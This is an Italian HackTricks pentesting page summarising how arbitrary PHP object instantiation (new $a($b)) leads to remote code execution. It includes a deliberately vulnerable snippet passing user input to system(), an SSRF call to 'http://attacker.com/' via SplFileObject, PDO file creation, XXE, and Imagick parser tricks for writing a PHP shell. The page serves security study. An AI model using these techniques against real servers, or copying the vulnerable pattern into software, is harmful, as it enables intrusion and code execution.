PHP - RCE abusando della creazione di oggetti: new $_GET["a"]($_GET["b"])
Reading time: 4 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Questo è fondamentalmente un riassunto di https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Introduzione
La creazione di nuovi oggetti arbitrari, come new $_GET["a"]($_GET["a"])
, può portare a Remote Code Execution (RCE), come dettagliato in un writeup. Questo documento evidenzia varie strategie per ottenere RCE.
RCE tramite Classi Personalizzate o Autoloading
La sintassi new $a($b)
viene utilizzata per istanziare un oggetto dove $a
rappresenta il nome della classe e $b
è il primo argomento passato al costruttore. Queste variabili possono provenire da input dell'utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove potrebbero presentarsi come altri tipi.
Considera il frammento di codice qui sotto:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
In questo caso, impostare $a
su App
o App2
e $b
su un comando di sistema (ad esempio, uname -a
) porta all'esecuzione di quel comando.
Le funzioni di autoloading possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi dai file quando necessario e sono definite utilizzando spl_autoload_register
o __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Il comportamento del caricamento automatico varia con le versioni di PHP, offrendo diverse possibilità di RCE.
RCE tramite Classi Incorporate
In assenza di classi personalizzate o caricatori automatici, le classi incorporate di PHP possono essere sufficienti per RCE. Il numero di queste classi varia tra 100 e 200, a seconda della versione di PHP e delle estensioni. Possono essere elencate utilizzando get_declared_classes()
.
I costruttori di interesse possono essere identificati tramite l'API di riflessione, come mostrato nel seguente esempio e nel link https://3v4l.org/2JEGF.
RCE tramite metodi specifici include:
SSRF + Deserializzazione Phar
La classe SplFileObject
consente SSRF tramite il suo costruttore, permettendo connessioni a qualsiasi URL:
new SplFileObject('http://attacker.com/');
SSRF può portare a attacchi di deserializzazione nelle versioni di PHP precedenti alla 8.0 utilizzando il protocollo Phar.
Sfruttare i PDO
Il costruttore della classe PDO consente connessioni a database tramite stringhe DSN, potenzialmente abilitando la creazione di file o altre interazioni:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Le versioni di PHP fino alla 5.3.22 e 5.4.12 erano suscettibili ad attacchi XXE attraverso i costruttori SoapClient
e SimpleXMLElement
, a seconda della versione di libxml2.
RCE tramite estensione Imagick
Nell'analisi delle dipendenze di un progetto, è stato scoperto che Imagick poteva essere sfruttato per l'esecuzione di comandi creando nuovi oggetti. Questo presenta un'opportunità per sfruttare vulnerabilità.
Parser VID
È stata identificata la capacità del parser VID di scrivere contenuti in qualsiasi percorso specificato nel filesystem. Questo potrebbe portare al posizionamento di una shell PHP in una directory accessibile via web, ottenendo l'Esecuzione Remota di Codice (RCE).
Parser VID + Caricamento File
Si nota che PHP memorizza temporaneamente i file caricati in /tmp/phpXXXXXX
. Il parser VID in Imagick, utilizzando il protocollo msl, può gestire caratteri jolly nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un ulteriore approccio per ottenere la scrittura arbitraria di file all'interno del filesystem.
Crash PHP + Brute Force
Un metodo descritto nel writeup originale prevede il caricamento di file che provocano un crash del server prima della cancellazione. Forzando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica è stata trovata efficace solo in una versione obsoleta di ImageMagick.
Riferimenti
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.